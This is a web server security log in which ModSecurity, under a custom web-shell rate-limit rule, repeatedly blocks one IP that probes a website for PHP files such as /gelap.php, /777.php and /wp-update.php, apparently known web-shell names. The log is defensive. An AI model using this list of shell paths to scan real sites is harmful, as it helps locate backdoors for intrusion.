[Thu Dec 18 21:41:41.803042 2025] [:error] [pid 12035:tid 12051] [client 4.196.84.157:17744] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/geck.php"] [unique_id "aUQElbcVHrNSHjCo-0qePAAAAgk"]
[Thu Dec 18 21:41:42.304743 2025] [:error] [pid 25357:tid 25377] [client 4.196.84.157:10309] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inde.php"] [unique_id "aUQEloaT7bsEXnJVfJdyOgAAAdI"]
[Thu Dec 18 21:41:43.011298 2025] [:error] [pid 24542:tid 24544] [client 4.196.84.157:2035] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inde.php"] [unique_id "aUQEl0tQz4H2oS3NrDYngAAAAUA"]
[Thu Dec 18 21:41:43.139341 2025] [:error] [pid 24542:tid 24562] [client 4.196.84.157:14529] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inde.php"] [unique_id "aUQEl0tQz4H2oS3NrDYngQAAAVI"]
[Thu Dec 18 21:41:43.326584 2025] [:error] [pid 24433:tid 24442] [client 4.196.84.157:1125] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inde.php"] [unique_id "aUQEl54pN9ycmipm8Tjg8AAAAQY"]
[Thu Dec 18 21:41:43.762658 2025] [:error] [pid 24542:tid 24556] [client 4.196.84.157:10326] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aUQEl0tQz4H2oS3NrDYngwAAAUw"]
[Thu Dec 18 21:41:43.985242 2025] [:error] [pid 23645:tid 23667] [client 4.196.84.157:10314] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aUQElzf_Rx0Y0ao_QJhk5AAAAJQ"]
[Thu Dec 18 21:41:44.207632 2025] [:error] [pid 24433:tid 24439] [client 4.196.84.157:24641] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aUQEmJ4pN9ycmipm8Tjg8gAAAQM"]
[Thu Dec 18 21:41:44.795864 2025] [:error] [pid 24958:tid 24974] [client 4.196.84.157:2001] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/777.php"] [unique_id "aUQEmMkDOrUkd0wNm2HTnAAAAY0"]
[Thu Dec 18 21:41:45.467585 2025] [:error] [pid 24433:tid 24440] [client 4.196.84.157:10331] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/luxe.php"] [unique_id "aUQEmZ4pN9ycmipm8Tjg9AAAAQQ"]
[Thu Dec 18 21:41:45.824357 2025] [:error] [pid 24542:tid 24568] [client 4.196.84.157:23777] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/luxe.php"] [unique_id "aUQEmUtQz4H2oS3NrDYnhgAAAVg"]
[Thu Dec 18 21:41:46.350904 2025] [:error] [pid 24542:tid 24563] [client 4.196.84.157:31926] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/luxe.php"] [unique_id "aUQEmktQz4H2oS3NrDYnhwAAAVM"]
[Thu Dec 18 21:41:46.665887 2025] [:error] [pid 24433:tid 24455] [client 4.196.84.157:24700] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/luxe.php"] [unique_id "aUQEmp4pN9ycmipm8Tjg9wAAARM"]
[Thu Dec 18 21:41:46.937007 2025] [:error] [pid 12239:tid 12266] [client 4.196.84.157:16679] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2.php"] [unique_id "aUQEmtNnXxfGIuWO6akhmwAAApY"]
[Thu Dec 18 21:41:47.462716 2025] [:error] [pid 24433:tid 24456] [client 4.196.84.157:1094] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2.php"] [unique_id "aUQEm54pN9ycmipm8Tjg-QAAARQ"]
[Thu Dec 18 21:41:48.132622 2025] [:error] [pid 23558:tid 23619] [client 4.196.84.157:10609] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2.php"] [unique_id "aUQEnOHam9NbgPQa9uYtTAAAAMQ"]
[Thu Dec 18 21:42:49.290445 2025] [:error] [pid 23556:tid 23570] [client 4.196.84.157:10612] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUQE2RnmLlk3u5yt9kHwLAAAAAo"]
[Thu Dec 18 21:42:49.590429 2025] [:error] [pid 23558:tid 23617] [client 4.196.84.157:15096] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUQE2eHam9NbgPQa9uYtoQAAAMI"]
[Thu Dec 18 21:42:49.755446 2025] [:error] [pid 24958:tid 24964] [client 4.196.84.157:1595] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUQE2ckDOrUkd0wNm2HT1gAAAYM"]
[Thu Dec 18 21:42:49.986050 2025] [:error] [pid 24542:tid 24554] [client 4.196.84.157:1093] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fe5.php"] [unique_id "aUQE2UtQz4H2oS3NrDYoAAAAAUo"]
[Thu Dec 18 21:42:50.275299 2025] [:error] [pid 23558:tid 23629] [client 4.196.84.157:16247] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUQE2uHam9NbgPQa9uYtogAAAM4"]
[Thu Dec 18 21:42:50.636168 2025] [:error] [pid 12035:tid 12057] [client 4.196.84.157:16233] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUQE2rcVHrNSHjCo-0qehgAAAg4"]
[Thu Dec 18 21:42:51.001021 2025] [:error] [pid 23556:tid 23562] [client 4.196.84.157:18739] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUQE2hnmLlk3u5yt9kHwLQAAAAI"]
[Thu Dec 18 21:42:51.770400 2025] [:error] [pid 24542:tid 24553] [client 4.196.84.157:17761] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUQE20tQz4H2oS3NrDYoBAAAAUk"]
[Thu Dec 18 21:42:52.264817 2025] [:error] [pid 12035:tid 12063] [client 4.196.84.157:1514] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v4.php"] [unique_id "aUQE3LcVHrNSHjCo-0qehwAAAhQ"]
[Thu Dec 18 21:42:52.442338 2025] [:error] [pid 23556:tid 23574] [client 4.196.84.157:21579] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v4.php"] [unique_id "aUQE3BnmLlk3u5yt9kHwLgAAAA4"]
[Thu Dec 18 21:42:52.757262 2025] [:error] [pid 23556:tid 23583] [client 4.196.84.157:2011] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v4.php"] [unique_id "aUQE3BnmLlk3u5yt9kHwLwAAABc"]
[Thu Dec 18 21:42:53.191003 2025] [:error] [pid 24958:tid 24985] [client 4.196.84.157:1552] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v4.php"] [unique_id "aUQE3ckDOrUkd0wNm2HT1wAAAZg"]
[Thu Dec 18 21:42:53.524093 2025] [:error] [pid 12035:tid 12066] [client 4.196.84.157:16193] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aUQE3bcVHrNSHjCo-0qeiAAAAhc"]
[Thu Dec 18 21:42:53.717315 2025] [:error] [pid 23558:tid 23620] [client 4.196.84.157:16192] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aUQE3eHam9NbgPQa9uYtpAAAAMU"]
[Thu Dec 18 21:42:53.882152 2025] [:error] [pid 12383:tid 12407] [client 4.196.84.157:1598] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aUQE3fdgllo9h1cyxGbM2AAAAtU"]
[Thu Dec 18 21:42:54.104344 2025] [:error] [pid 23556:tid 23573] [client 4.196.84.157:17733] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aUQE3hnmLlk3u5yt9kHwMgAAAA0"]
[Thu Dec 18 21:42:54.415287 2025] [:error] [pid 25357:tid 25360] [client 4.196.84.157:21966] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aUQE3oaT7bsEXnJVfJdypgAAAcE"]
[Thu Dec 18 21:42:54.553640 2025] [:error] [pid 12383:tid 12402] [client 4.196.84.157:10363] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aUQE3vdgllo9h1cyxGbM2QAAAtA"]
[Thu Dec 18 21:42:54.713670 2025] [:error] [pid 23556:tid 23572] [client 4.196.84.157:10610] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aUQE3hnmLlk3u5yt9kHwNQAAAAw"]
[Thu Dec 18 21:42:54.953128 2025] [:error] [pid 25357:tid 25381] [client 4.196.84.157:21574] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gg.php"] [unique_id "aUQE3oaT7bsEXnJVfJdyqAAAAdY"]
[Thu Dec 18 21:42:55.264573 2025] [:error] [pid 23556:tid 23567] [client 4.196.84.157:1994] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aUQE3xnmLlk3u5yt9kHwNwAAAAc"]
[Thu Dec 18 21:42:55.456157 2025] [:error] [pid 12383:tid 12390] [client 4.196.84.157:16993] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aUQE3_dgllo9h1cyxGbM2wAAAsQ"]
[Thu Dec 18 21:42:55.598243 2025] [:error] [pid 12383:tid 12401] [client 4.196.84.157:18768] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aUQE3_dgllo9h1cyxGbM3AAAAs8"]
[Thu Dec 18 21:42:55.650522 2025] [:error] [pid 23556:tid 23581] [client 4.196.84.157:17747] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aUQE3xnmLlk3u5yt9kHwOQAAABU"]
[Thu Dec 18 21:42:55.837862 2025] [:error] [pid 12383:tid 12400] [client 4.196.84.157:1594] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gelap.php"] [unique_id "aUQE3_dgllo9h1cyxGbM3QAAAs4"]
[Thu Dec 18 21:42:56.149508 2025] [:error] [pid 12239:tid 12267] [client 4.196.84.157:17010] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gelap.php"] [unique_id "aUQE4NNnXxfGIuWO6akiTAAAApc"]
[Thu Dec 18 21:42:56.268722 2025] [:error] [pid 24542:tid 24552] [client 4.196.84.157:10322] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gelap.php"] [unique_id "aUQE4EtQz4H2oS3NrDYoBQAAAUg"]
[Thu Dec 18 21:42:56.365191 2025] [:error] [pid 23558:tid 23622] [client 4.196.84.157:21586] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gelap.php"] [unique_id "aUQE4OHam9NbgPQa9uYtpwAAAMc"]
[Thu Dec 18 21:42:56.708380 2025] [:error] [pid 23556:tid 23580] [client 4.196.84.157:18694] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aUQE4BnmLlk3u5yt9kHwOwAAABQ"]
[Thu Dec 18 21:42:57.034767 2025] [:error] [pid 25357:tid 25375] [client 4.196.84.157:1541] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aUQE4YaT7bsEXnJVfJdyqwAAAdA"]
[Thu Dec 18 21:42:57.248712 2025] [:error] [pid 24433:tid 24444] [client 4.196.84.157:24222] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aUQE4Z4pN9ycmipm8TjhMgAAAQg"]
[Thu Dec 18 21:42:57.333214 2025] [:error] [pid 25357:tid 25362] [client 4.196.84.157:16241] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aUQE4YaT7bsEXnJVfJdyrAAAAcM"]
[Thu Dec 18 21:42:57.440417 2025] [:error] [pid 23556:tid 23570] [client 4.196.84.157:17767] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aUQE4RnmLlk3u5yt9kHwPAAAAAo"]
[Thu Dec 18 21:42:57.667243 2025] [:error] [pid 23556:tid 23577] [client 4.196.84.157:1543] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aUQE4RnmLlk3u5yt9kHwPQAAABE"]
[Thu Dec 18 21:42:58.013011 2025] [:error] [pid 25357:tid 25382] [client 4.196.84.157:16994] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aUQE4oaT7bsEXnJVfJdyrgAAAdc"]
[Thu Dec 18 21:42:58.201126 2025] [:error] [pid 23556:tid 23574] [client 4.196.84.157:21577] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/000.php"] [unique_id "aUQE4hnmLlk3u5yt9kHwQQAAAA4"]
[Thu Dec 18 21:42:58.647415 2025] [:error] [pid 12035:tid 12045] [client 4.196.84.157:21982] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUQE4rcVHrNSHjCo-0qeiwAAAgM"]
[Thu Dec 18 21:42:58.753862 2025] [:error] [pid 23556:tid 23563] [client 4.196.84.157:17787] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUQE4hnmLlk3u5yt9kHwQgAAAAM"]
[Thu Dec 18 21:42:59.238521 2025] [:error] [pid 12239:tid 12252] [client 4.196.84.157:1575] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUQE49NnXxfGIuWO6akiTgAAAog"]
[Thu Dec 18 21:42:59.447319 2025] [:error] [pid 12239:tid 12249] [client 4.196.84.157:22002] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUQE49NnXxfGIuWO6akiTwAAAoU"]
